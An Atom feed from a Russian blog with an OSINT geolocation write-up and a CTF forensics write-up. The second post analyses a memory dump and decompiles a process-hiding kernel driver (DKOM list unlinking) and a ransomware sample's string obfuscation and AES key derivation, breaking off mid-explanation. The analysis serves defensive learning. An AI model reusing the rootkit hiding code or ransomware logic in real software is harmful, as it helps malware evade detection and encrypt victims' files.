<?xml version="1.0" encoding="utf-8" ?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:tt="http://teletype.in/" xmlns:opensearch="http://a9.com/-/spec/opensearch/1.1/"><title>Михаил</title><author><name>Михаил</name></author><id>https://teletype.in/atom/mixinspace</id><link rel="self" type="application/atom+xml" href="https://teletype.in/atom/mixinspace?offset=0"></link><link rel="alternate" type="text/html" href="https://teletype.in/@mixinspace?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=mixinspace"></link><link rel="next" type="application/rss+xml" href="https://teletype.in/atom/mixinspace?offset=10"></link><link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></link><updated>2026-08-13T01:26:49.261Z</updated><entry><id>mixinspace:GEOINT_247</id><link rel="alternate" type="text/html" href="https://teletype.in/@mixinspace/GEOINT_247?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=mixinspace"></link><title>GEOINT #247</title><published>2026-08-04T04:37:50.509Z</published><updated>2026-08-07T12:19:26.951Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img4.teletype.in/files/36/bc/36bce302-92c5-43c0-86fc-b51a8bfab2ac.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://img4.teletype.in/files/71/24/7124fc43-889c-4144-a9ea-f7bd83b341b4.jpeg&quot;&gt;GEOINT #247</summary><content type="html">
  &lt;figure id=&quot;CaA7&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/71/24/7124fc43-889c-4144-a9ea-f7bd83b341b4.jpeg&quot; width=&quot;960&quot; /&gt;
    &lt;figcaption&gt;OSINT: форум расследований. Определите координаты места съемки с точностью до 10 метров.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Gagr&quot;&gt;Первая мысль - Таиланд. Пошел проверять стикеры на столбики.&lt;/p&gt;
  &lt;p id=&quot;CAwD&quot;&gt;NUUM COFFEE - кофейня на южном тайском острове Koh-Phangan, там же проводится фестиваль Techno Rebelion.&lt;/p&gt;
  &lt;p id=&quot;M2D5&quot;&gt;К моменту когда я уже начал решать, в группу уже скинули логотип PMG:&lt;/p&gt;
  &lt;figure id=&quot;rpJm&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/30/0f/300feb26-f705-443d-a308-55dc60d396ab.jpeg&quot; width=&quot;1080&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;AibQ&quot;&gt;Это польская блогер, которая в марте 2024 года также была на этом острове.&lt;/p&gt;
  &lt;p id=&quot;RxRw&quot;&gt;&lt;a href=&quot;https://www.instagram.com/reel/C4mxwQFS7nK/&quot; target=&quot;_blank&quot;&gt;https://www.instagram.com/reel/C4mxwQFS7nK/&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;biif&quot;&gt;Я попытался сузить круг поиска, определив местоположение съёмки ее рилсов, но это не увенчалось успехом - первые же два рилса, местоположение которых я определил были на противоположных частях острова.&lt;/p&gt;
  &lt;figure id=&quot;UNLf&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/80/c6/80c608f8-1b34-43b1-bb1b-63fee664672c.jpeg&quot; width=&quot;1278&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;9AmI&quot;&gt;Тогда открыл карту всех естественных водоемов тайланда:&lt;/p&gt;
  &lt;p id=&quot;7zAA&quot;&gt;&lt;a href=&quot;https://gis.dwr.go.th/portal/home/webmap/viewer.html?webmap=27baac5c7a9f40a9aec56576af69a072&amp;extent=85.409,4.3301,117.7308,21.6423&quot; target=&quot;_blank&quot;&gt;https://gis.dwr.go.th/portal/home/webmap/viewer.html?webmap=27baac5c7a9f40a9aec56576af69a072&amp;amp;extent=85.409,4.3301,117.7308,21.6423&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;2kLS&quot;&gt;И стал проверять все каналы на острове. Искал место, соответствующее этим критериям:&lt;/p&gt;
  &lt;ul id=&quot;CoAA&quot;&gt;
    &lt;li id=&quot;s3iL&quot;&gt;Оно должно быть легко и публично доступно туристам&lt;/li&gt;
    &lt;li id=&quot;4TkL&quot;&gt;У водоема должен быть песок (видно за лодкой)&lt;/li&gt;
    &lt;li id=&quot;jJCF&quot;&gt;С обоих сторон канала есть дома&lt;/li&gt;
    &lt;li id=&quot;ZgEw&quot;&gt;Стена из круглых блоков&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;QcsP&quot;&gt;Почти сразу внимание привлек пляж Haad Sadel Beach&lt;/p&gt;
  &lt;figure id=&quot;KMoj&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/8b/ae/8bae1d6d-aa01-43f4-ba22-e9627ba06a8c.jpeg&quot; width=&quot;1280&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;uBRS&quot;&gt;Мне понравились силуэты пальм, похожие на то, что было на фото, а также этот маленький участок песка у канала&lt;/p&gt;
  &lt;figure id=&quot;RXX3&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/c2/cc/c2cce510-10c6-4ca0-b3db-0c89c4300269.jpeg&quot; width=&quot;550&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;WBVb&quot;&gt;Начал искать видео на ютубе про этот пляж, и сразу понял, что это оно: &lt;a href=&quot;https://www.youtube.com/watch?v=oIzVG7uuMWs&quot; target=&quot;_blank&quot;&gt;https://www.youtube.com/watch?v=oIzVG7uuMWs&lt;/a&gt;&lt;/p&gt;
  &lt;figure id=&quot;jgLp&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/e1/a5/e1a512f3-704f-41c6-aab0-ea26a3764e1a.jpeg&quot; width=&quot;1280&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;a9as&quot;&gt;Дополнительные подтверждения: &lt;a href=&quot;https://www.youtube.com/watch?v=bdq3HHpji1o&quot; target=&quot;_blank&quot;&gt;https://www.youtube.com/watch?v=bdq3HHpji1o&lt;/a&gt;&lt;/p&gt;
  &lt;figure id=&quot;J1jG&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/ce/c1/cec18c70-2d1e-4609-9d52-eb22e0348857.jpeg&quot; width=&quot;1280&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;glQa&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/cc/d0/ccd0492f-67e4-4885-bd88-f5a08e7cb0e5.jpeg&quot; width=&quot;1280&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;djqw&quot;&gt;Осталось найти точку и угол съёмки, и это оказалось самым сложным, и заняло больше всего времени. Видео на английском уже кончились, поэтому перешёл на тайские. По запросу &amp;quot;haad sadet beach หาดธารเสด็จ&amp;quot; нашел видео, где видно фрагмент забора с таким же столбиком как у нас:&lt;/p&gt;
  &lt;p id=&quot;fLa1&quot;&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=zTNRvbrX9_8?s=140&quot; target=&quot;_blank&quot;&gt;https://youtu.be/zTNRvbrX9_8?t=140&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;WAlo&quot;&gt;По относительному расположению объекта и съемки с еще нескольких ракурсов определил финальную точку.&lt;/p&gt;
  &lt;p id=&quot;NoQ4&quot;&gt;Итоговая визуализация:&lt;/p&gt;
  &lt;figure id=&quot;r2gd&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/0b/9a/0b9a6cd7-407d-44ac-9200-6943df85e2b9.jpeg&quot; width=&quot;1280&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;cdXE&quot;&gt;В сумме на решение таска потратил около 2 часов&lt;/p&gt;

</content></entry><entry><id>mixinspace:bimbo-incident</id><link rel="alternate" type="text/html" href="https://teletype.in/@mixinspace/bimbo-incident?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=mixinspace"></link><title>[DFIR/Kernel] Yet Another Shitty Dump (Bimbo Accident) - IX Кубок CTF России</title><published>2026-06-26T02:31:14.527Z</published><updated>2026-06-26T02:31:14.527Z</updated><summary type="html">Сложность: Hard | Категории: Forensics, Reverse, Kernel | solved by: @mixinspace @pigadoor @ogurez @crowdyara | Автор: @revker</summary><content type="html">
  &lt;p id=&quot;piA1&quot;&gt;Сложность: Hard | Категории: Forensics, Reverse, Kernel | solved by: @mixinspace @pigadoor @ogurez @crowdyara | Автор: @revker&lt;/p&gt;
  &lt;p id=&quot;9T12&quot;&gt;Описание:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(0, 0%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;94JI&quot;&gt;Котик, я тут пока поизучала всякого…&lt;br /&gt;Случайно шифровальщик у себя запустила… компик не работает. Купишь новый? 🥺🙈🩷&lt;br /&gt;Зашифровала себе сумочку биркин, она у меня была в папке Documents под именем MyDream.png 🩷🩷🩷&lt;br /&gt;Там же и шифровальщик лежит, только он почему-то сам себя зашифровал… 🙈&lt;br /&gt;Ещё там какие-то тюбики хотят выкуп, информация о нём в той же папке в файле README.txt 😓😓&lt;/p&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;1CHV&quot;&gt;&lt;strong&gt;Шаг 1. Первичное исследование&lt;/strong&gt;&lt;/h2&gt;
  &lt;p id=&quot;RgYr&quot;&gt;Таск встречает нас дампом памяти на 2 гб.Для анализа будем пользоваться  volatility3.&lt;/p&gt;
  &lt;pre id=&quot;oYZF&quot; data-lang=&quot;bash&quot;&gt;python3 vol.py -f mem.raw windows.info
Major/Minor     15.19041
NtSystemRoot    C:\WindowsNt
MajorVersion  10&lt;/pre&gt;
  &lt;p id=&quot;6mRF&quot;&gt;Этот дамп был снят с Windows 10 19041 (Что удобно, так как для любителей volatility2, на гитхабе существует отдельная ветка специально для этой версии винды).&lt;/p&gt;
  &lt;p id=&quot;5YCw&quot;&gt;Попробуем достать файлы из папки &lt;code&gt;Documents&lt;/code&gt;&lt;br /&gt;&lt;code&gt;windows.filescan&lt;/code&gt;&lt;/p&gt;
  &lt;pre id=&quot;mRgS&quot;&gt;0xcd04ff6851f0  \Users\Snezhana\Documents\desktop.ini
0xcd0501a392d0  \Users\Snezhana\Documents\README.txt&lt;/pre&gt;
  &lt;p id=&quot;Sncy&quot;&gt;Из упомянутых Снежаной файлов здесь только 1 - &lt;code&gt;README.txt&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;RzqQ&quot;&gt;Вытащим его:&lt;/p&gt;
  &lt;pre id=&quot;vWkK&quot; data-lang=&quot;bash&quot;&gt;python3 vol.py -f mem.raw windows.dumpfiles --virtaddr 0xcd0501a392d0&lt;/pre&gt;
  &lt;p id=&quot;0zeI&quot;&gt;README.txt:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(0, 0%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;gpCZ&quot;&gt;Send 1 BTC to ZmFrZV9hZGRyZXNfanVzdF9zb2x2ZV90aGVfdGFzaw to get back your Birking bag!&lt;br /&gt;Your encryption id: WJA^LEJEIEHREVARE&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;y5v6&quot;&gt;Похоже что этот файл был оставлен малварем шифрофщиком.&lt;/p&gt;
  &lt;p id=&quot;Xl3W&quot;&gt;На всякий проверили строчку кошелька (это Base64) &lt;/p&gt;
  &lt;pre id=&quot;pW9O&quot;&gt;ZmFrZV9hZGRyZXNfanVzdF9zb2x2ZV90aGVfdGFzaw &amp;gt; fake_addres_just_solve_the_task&lt;/pre&gt;
  &lt;p id=&quot;MEtt&quot;&gt;Осознали и пошли решать дальше.&lt;/p&gt;
  &lt;p id=&quot;HHe5&quot;&gt;Если есть малварь, и он зашифровал файлы, то он явно должен был запускаться.Список процессов с помощью &lt;code&gt;windows.pslist&lt;/code&gt; и &lt;code&gt;windows.psscan &lt;/code&gt;не выявил ничего подозрительного, в &lt;code&gt;windows.dlllist &lt;/code&gt;и &lt;code&gt;windows.handles &lt;/code&gt;тоже ничего не нашел.&lt;/p&gt;
  &lt;h2 id=&quot;q4Lc&quot;&gt;Шаг 2. WinCrypt.sys&lt;/h2&gt;
  &lt;p id=&quot;O5gI&quot;&gt;Внезапно вспомнил, что у таска была категория kernel и решил просмотреть список подгруженных модулей с помощью &lt;code&gt;windows.modules&lt;/code&gt;&lt;/p&gt;
  &lt;pre id=&quot;vtBI&quot; data-lang=&quot;bash&quot;&gt;python3 vol.py -f mem.raw windows.modules
...0xcd04fb87dc00  0xf8050dd80000  0x12000 WdNisDrv.sys    
\SystemRoot\system32\Drivers\WdNisDrv.sys  Disabled0
xcd0500cf3510  0xf8050dda0000  0x8000  WinCrypt.sys    \??
\C:\Windows\System32\drivers\WinCrypt.sys       Disabled
0xcd0500245920  0xcb58ac560000  0x48000 cdd.dll 
\SystemRoot\System32\cdd.dll    Disabled&lt;/pre&gt;
  &lt;p id=&quot;4iSq&quot;&gt;Среди стандартных драйверов винды внимание привлек &lt;code&gt;WinCrypt.sys&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;olDz&quot;&gt;Выкачаем его используя &lt;code&gt;pedump&lt;/code&gt;, специально предназначенный для извлечения бинарей:&lt;/p&gt;
  &lt;pre id=&quot;ov3m&quot; data-lang=&quot;bash&quot;&gt;python3 vol.py -f mem.raw windows.pedump --base 0xf8050dda0000 --kernel-module&lt;/pre&gt;
  &lt;p id=&quot;OAtu&quot;&gt;Дизассемблируем и изучим исходный код драйвера:&lt;br /&gt;Драйвер создает устройство &lt;code&gt;&amp;quot;\Device\WinCrypt&amp;quot; &lt;/code&gt;и обработчик команд &lt;code&gt;IOCTL&lt;/code&gt;. Обработчик ожидает pid процесса и одну из двух команд.&lt;/p&gt;
  &lt;pre id=&quot;RUoG&quot; data-lang=&quot;c&quot;&gt;//sub_F8050DDA1040NTSTATUS WinCryptDeviceControl(PDEVICE_OBJECT dev, PIRP irp) {
    ULONG pid = *(ULONG*)irp-&amp;gt;AssociatedIrp.SystemBuffer;

    switch (code) {
    case 0x222000:
        st = sub_F8050DDA1440(pid);   // sub_F8050DDA1440
        break;
    case 0x222004:
        st = sub_F8050DDA15A4(pid); // sub_F8050DDA15A4
        break;
    default:
        st = STATUS_INVALID_DEVICE_REQUEST;
        break;
    }&lt;/pre&gt;
  &lt;p id=&quot;dhei&quot;&gt;Функция &lt;code&gt;sub_F8050DDA1440&lt;/code&gt; находит структуру &lt;code&gt;_EPROCESS&lt;/code&gt; для данного pid, в которой хранятся вся информация о процессе, зануляет адрес по смещению 0x5a8 и что-то делает с памятью по адресу 0x448.&lt;/p&gt;
  &lt;pre id=&quot;cy6p&quot; data-lang=&quot;c&quot;&gt;NTSTATUS HideProcessByPid(ULONG pid) {
    PUCHAR eproc = NULL;
    FindEProcessByPid(pid, &amp;amp;eproc); //sub_F8050DDA1340
    ...
    v3 = eproc + 0x448;
    RtlFillMemory((PVOID)(eproc + 0x5A8), 0x0, 0xF);
    
    v6 = (_QWORD *)v3[1];
    v5 = (_QWORD *)*v3;
    if ( v6 &amp;amp;&amp;amp; v5 )
    {
        *v6 = v5;
        v5[1] = v6;
        *v3 = v3;
        v3[1] = v3;
        return 0;
    }&lt;/pre&gt;
  &lt;p id=&quot;MWWl&quot;&gt;Оффсеты 0x448 и 0x5A8 взяты из структуры &lt;code&gt;_EPROC&lt;/code&gt;, спецификацию которой можно прочитать на сайте vergiliusproject - &lt;a href=&quot;https://www.vergiliusproject.com/kernels/x64/windows-10/2004/_EPROCESS&quot; target=&quot;_blank&quot;&gt;https://www.vergiliusproject.com/kernels/x64/windows-10/2004/_EPROCESS&lt;/a&gt;, где описаны все kernel структуры для каждой версии windows.&lt;/p&gt;
  &lt;pre id=&quot;NrA5&quot; data-lang=&quot;c&quot;&gt;//0xa40 bytes (sizeof)
struct _EPROCESS{
    struct _KPROCESS Pcb;                                    //0x0
    ...
    VOID* UniqueProcessId;                                   //0x440
    struct _LIST_ENTRY ActiveProcessLinks;                   //0x448
    ...
    struct _FILE_OBJECT* ImageFilePointer;                   //0x5a0
    UCHAR ImageFileName[15];                                 //0x5a8
    ...
};&lt;/pre&gt;
  &lt;pre id=&quot;rzBz&quot; data-lang=&quot;c&quot;&gt;//0x10 bytes (sizeof)
struct _LIST_ENTRY
{
    struct _LIST_ENTRY* Flink;                               //0x0
    struct _LIST_ENTRY* Blink;                               //0x8
}&lt;/pre&gt;
  &lt;p id=&quot;svLC&quot;&gt;Получается, что эта операция зануляет имя процесса, и замыкает процесс сам на себя, выводя его из общего двусвязного списка процессов.&lt;/p&gt;
  &lt;pre id=&quot;hTvV&quot; data-lang=&quot;c&quot;&gt;    PLIST_ENTRY prev = v3-&amp;gt;Blink;
    PLIST_ENTRY next = v3-&amp;gt;Flink;

    prev-&amp;gt;Flink = next;
    next-&amp;gt;Blink = prev;

    v3-&amp;gt;Flink = v3-&amp;gt;Blink = v3;&lt;/pre&gt;
  &lt;p id=&quot;WBqH&quot;&gt;Вторая операция возвращает процесс в общий список, но оставляет имя пустым.&lt;/p&gt;
  &lt;pre id=&quot;WAYm&quot; data-lang=&quot;c&quot;&gt;    PLIST_ENTRY head  = g_PsActiveProcessHead;
    
    node-&amp;gt;Flink = first;
    node-&amp;gt;Blink = head;
    head-&amp;gt;Flink = node;
    first-&amp;gt;Blink = node;&lt;/pre&gt;
  &lt;h2 id=&quot;YBk9&quot;&gt;Шаг 2.5. Интерлюдия&lt;/h2&gt;
  &lt;p id=&quot;NPuH&quot;&gt;Поняв что делает драйвер, но не поняв что с этим делать я пошел вручную читать &lt;code&gt;BimboIncident.raw&lt;/code&gt; в hex редакторе. Было интересно найти следы присутствия других файлов из описания задания.&lt;br /&gt;Поиск по &amp;quot;Documents&amp;quot; выявил наличие в папке следующих файлов:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(0, 0%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;uXrP&quot;&gt;MyDream.png&lt;br /&gt;Cryptor.exe&lt;br /&gt;Dropper.exe&lt;br /&gt;out.exe&lt;br /&gt;Flag.png&lt;br /&gt;Flag.png.dll&lt;br /&gt;README.txt&lt;br /&gt;1.exe&lt;br /&gt;1.exe.txt&lt;br /&gt;desktop.ini&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;8q2s&quot;&gt;Хотелось найти содержание &lt;code&gt;Cryptor.exe&lt;/code&gt;, поэтому искал по названию. На удивление, слово &lt;code&gt;cryptor&lt;/code&gt; встречался в файле  331 раз. Перейдя на первое значение, я был уверен что нашел то что надо, так как передо мной были артефакты от какого-то &lt;code&gt;ransomware&lt;/code&gt;&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(0, 0%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;lyrZ&quot;&gt;You have been encrypted with Rush Ransomware\DECRYPT_YOUR_FILES.HTML\Sanction Ransomware\Project Encryptor\hidden-tearTrojan:&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;GQ50&quot;&gt;Обрадовавшись, я почти пошел его гуглить, но решил посмотреть и другие вхождения &lt;code&gt;cryptor.&lt;/code&gt;&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(0, 0%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;TWMV&quot;&gt;...&lt;br /&gt;Kraken Cryptor&lt;br /&gt;...&lt;br /&gt;FileCryptor&lt;br /&gt;...&lt;br /&gt;/ScriptCryptor_HSTR1&lt;br /&gt;...&lt;br /&gt;encryptor_raas&lt;br /&gt;...&lt;br /&gt;Ransom:MSIL/Godcrypt&lt;br /&gt;...&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;Oxq8&quot;&gt;И еще много следов других криптеров, енкриптеров, рансомов и дропперов. Немного огорчившись, я все еще верил, что файлы были зашифрованы одним из них и попытался найти следы нашего README.txt в этих артефактах, но это ни к чему не привело.&lt;/p&gt;
  &lt;p id=&quot;BsBh&quot;&gt;Одним из вхождений &lt;code&gt;Сryptor.exe &lt;/code&gt;действительно был наш малварь, но не в папке Снежаны, а на рабочем столе пользователя &amp;#x60;anon&amp;#x60; в папке &amp;#x60;test_crypt&amp;#x60;.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(0, 0%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;3zvT&quot;&gt;c:\users\anon\desktop\test_crypt\cryptor.exe&lt;/p&gt;
  &lt;/section&gt;
  &lt;blockquote id=&quot;yKyh&quot;&gt;В этой же папке были найдены файлы README.txt и Flag.png. Похоже что автор задания от этого пользователя тестил этот и другие вирусы, а потом уже запустил на снежане.&lt;/blockquote&gt;
  &lt;p id=&quot;E6dD&quot;&gt;Также в папке загрузки у анона нашел файлы&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(0, 0%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;MODl&quot;&gt;WinCrypt.inf&lt;br /&gt;WinCrypt.sys&lt;br /&gt;osrloader.exe&lt;br /&gt;DriverView.exe&lt;br /&gt;dbgview64.exe&lt;br /&gt;Cryptor.exe&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;5jBJ&quot;&gt;И смешной артефакт с оригинальным названием таска)&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(0, 0%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;ffgD&quot;&gt;\ctfcup\tasks\forensics\YetAnotherShittyDump\dev\Driver\WinCrypt\x64\Release&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;dZME&quot;&gt;Очевидно, что автор очень хотел правильно загрузить драйвер и проверить его работоспособность. Тут то меня и осенило, что драйвер зачем-то подгружали, он где-то точно использовался.&lt;/p&gt;
  &lt;h2 id=&quot;b5Lr&quot;&gt;Шаг 3. Поиск скрытого процесса&lt;/h2&gt;
  &lt;p id=&quot;ZG19&quot;&gt;Volatility2 и 3 ни одним стандартным плагином процессов, скрытых манипуляциями с DKOM, поэтому пришлось написать плагин для этого самому, который находит каждый &amp;#x60;_EPROCESS&amp;#x60; и проверяет что он замкнут на себя.&lt;/p&gt;
  &lt;pre id=&quot;jRRP&quot; data-lang=&quot;bash&quot;&gt;python vol.py -f mem.raw windows.malware.hidden_dkom_list
Volatility 3 Framework 2.27.0
Progress:  100.00               PDB scanning finished

PID     PPID    ImageFileName   ImagePath                       EPROCESS_Offset(V)
4440    1208                    C:\Windows\system32\ctfmon.exe  0xcd0501a08340&lt;/pre&gt;
  &lt;p id=&quot;uDUo&quot;&gt;Нашелся процесс с pid &lt;code&gt;4440&lt;/code&gt; с пустым именем, это инстанс &lt;code&gt;ctfmon.exe&lt;/code&gt;. Через стандартные плагины волатилити вытащить дамп памяти не получилось, поэтому пришлось написать второй плагин для выкачивания таких процессов.&lt;/p&gt;
  &lt;p id=&quot;TfN6&quot;&gt;Получили дамп памяти процесса на 525мб, почти в самом его начале присутствует сигнатура &lt;code&gt;MZER&lt;/code&gt; какого-то .exe файла. После обрезки файла до начала &lt;code&gt;MZER &lt;/code&gt;и декомпилирования кода, предположение подтвердилось - мы нашли &lt;code&gt;Cryptor.exe&lt;/code&gt;.&lt;/p&gt;
  &lt;h2 id=&quot;umwm&quot;&gt;&lt;strong&gt;Шаг 4 - Cryptor.exe&lt;/strong&gt;&lt;/h2&gt;
  &lt;p id=&quot;JbsW&quot;&gt;Открываем бинарь, прыгаем в функцию main и начинаем исследовать его функциональность. В крипторе все строки зашифрованы, и следующий код мы будем видеть везде, где они расшифровываются:&lt;/p&gt;
  &lt;pre id=&quot;xY4D&quot; data-lang=&quot;c&quot;&gt;
  strcpy(FileName, &amp;quot;QQ#QZdcN\x7Ft}y&amp;quot;);
  do
    ++v5;
  while ( FileName[v5] );
  if ( v5 )
  {
    v6 = 0;
    if ( v5 &amp;lt; 64 )
      goto LABEL_17;
    si128 = _mm_load_si128((const __m128i *)&amp;amp;xmmword_14000AAC0);
    do
    {
      *(__m128i *)&amp;amp;FileName[v6] = _mm_xor_si128(si128, _mm_loadu_si128((const __m128i *)&amp;amp;FileName[v6]));
      *(__int128 *)((char *)&amp;amp;v13 + v6) = (__int128)_mm_xor_si128(
                                                     _mm_loadu_si128((const __m128i *)((char *)&amp;amp;v13 + v6)),
                                                     si128);
      *(__m128i *)((char *)&amp;amp;retaddr + v6) = _mm_xor_si128(
                                              _mm_loadu_si128((const __m128i *)((char *)&amp;amp;retaddr + v6)),
                                              si128);
      *(__int128 *)((char *)&amp;amp;v15 + v6) = (__int128)_mm_xor_si128(
                                                     si128,
                                                     _mm_loadu_si128((const __m128i *)((char *)&amp;amp;v15 + v6)));
      v6 += 64LL;
    }
    while ( v6 &amp;lt; (v5 &amp;amp; 0xFFFFFFFFFFFFFFC0uLL) );
    if ( v6 &amp;lt; v5 )
    {
LABEL_17:
      do
        FileName[v6++] ^= 0xDu;
      while ( v6 &amp;lt; v5 );
    }
  }&lt;/pre&gt;
  &lt;p id=&quot;utQe&quot;&gt;Здесь зашифрованная строка копируется в память, затем расшифровывается операцией XOR с 0xD (для хвоста; для кратных 64 байтам блоков используется SSE XOR).&lt;/p&gt;
  &lt;p id=&quot;KqqF&quot;&gt;Следующим шагом происходит открытие файла и если он существует, то программа выполняет функцию &amp;#x60;sub_1400033A0&amp;#x60;, к ней и перейдём.&lt;/p&gt;
  &lt;p id=&quot;ybuL&quot;&gt;В первой части данной функции происходит расшифровка всех необходимых строк, затем — рекурсивный перебор всех файлов в директории (это видно по вызову sub_140002A90(&amp;quot;recursive_directory_iterator::recursive_directory_iterator&amp;quot;, v18, Block);).&lt;/p&gt;
  &lt;p id=&quot;P1AW&quot;&gt;Так как это шифратор, то должна быть функция, которая принимает путь до файла и шифрует его. В дампе строк видны стандартные WinCrypt‑API: CryptCreateHash, CryptHashData и т. д. Они используются в &amp;#x60;sub_1400043A0&amp;#x60; (та принимает два аргумента).&lt;/p&gt;
  &lt;p id=&quot;qXoR&quot;&gt;Теперь необходимо понять, как именно происходит шифрование файлов. Ключевой фрагмент:&lt;/p&gt;
  &lt;pre id=&quot;NR4w&quot; data-lang=&quot;c&quot;&gt;pbData[0] = *a2 ^ *v12;
pbData[1] = a2[1] ^ v12[1];
pbData[2] = a2[2] ^ v12[2];
pbData[3] = a2[3] ^ v12[3];
pbData[4] = a2[4] ^ v12[4];
pbData[5] = a2[5] ^ v12[5];
pbData[6] = a2[6] ^ v12[6];
pbData[7] = a2[7] ^ v12[7];
pbData[8] = a2[8] ^ v12[8];
pbData[9] = a2[9] ^ v12[9];
pbData[10] = a2[10] ^ v12[10];
pbData[11] = a2[11] ^ v12[11];
pbData[12] = a2[12] ^ v12[12];
pbData[13] = a2[13] ^ v12[13];
pbData[14] = a2[14] ^ v12[14];
pbData[15] = a2[15] ^ v12[15];
phProv = 0;
phKey = 0;
phHash = 0;
if ( CryptAcquireContextW(&amp;amp;phProv, 0, 0, 0x18u, 0xF0000000) )
{
    if ( CryptCreateHash(phProv, 0x800Cu, 0, 0, &amp;amp;phHash) )
    {
    if ( CryptHashData(phHash, pbData, 0x10u, 0) &amp;amp;&amp;amp; CryptDeriveKey(phProv, 0x6610u, phHash, 0, &amp;amp;phKey) )
    {
        if ( (v7 &amp;amp; 0xF) != 0 )
        LODWORD(v7) = 16 - (v7 &amp;amp; 0xF) + v7;
        LODWORD(Size) = v7;
        v15 = operator new((unsigned int)v7);
        memset(v15, 0, (unsigned int)Size);
        memcpy(v15, v12, v13 - v12);
        if ( CryptEncrypt(phKey, 0, 0, 0, (BYTE *)v15, (DWORD *)&amp;amp;Size, Size) )
        {...}
    }
    }
}&lt;/pre&gt;
  &lt;p id=&quot;RZw1&quot;&gt;Из него можно понять, что шифрование идет с помощью AES 256, а ключ для него генерируется на основании двух переменных - входное значение (a2) и первые 16 байт самого файла (v12), а значит, чтобы дешифровать файл, нам нужно знать входное значение (шифруется через XOR с 0xD и является строкой &lt;code&gt;SNEZHANAMALVAREVA&lt;/code&gt;), а также первые 16 байт исходного файла. К счастью, флаг у нас в png картинке, а все картинки всегда начинаются с&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(0, 0%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;AHlr&quot;&gt;89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;x6RT&quot;&gt;Первые 8 байт - это PNG сигнатура, дальше должен идти чанк&lt;/p&gt;
  &lt;p id=&quot;4PNz&quot;&gt;Чанки могут быть разного размера, но всегда первые 8 байт чанка занимает размер чанка и его тип (4 байта на размер и 4 байта на тип).&lt;/p&gt;
  &lt;p id=&quot;ZMFV&quot;&gt;В нашем случае в PNG сразу после сигнатуры идет стандартный чанк IHDR, который содержит в себе длину и ширину картинки, а также флаги компрессии, цвета, фильтры и бит глубины, этот чанк всегда имеет размер 13 байт и тип IHDR. &lt;br /&gt;Получается последние 8 байт ключа это размер чанка (00 00 00 0D) и тип чанка (49 48 44 52)&lt;/p&gt;
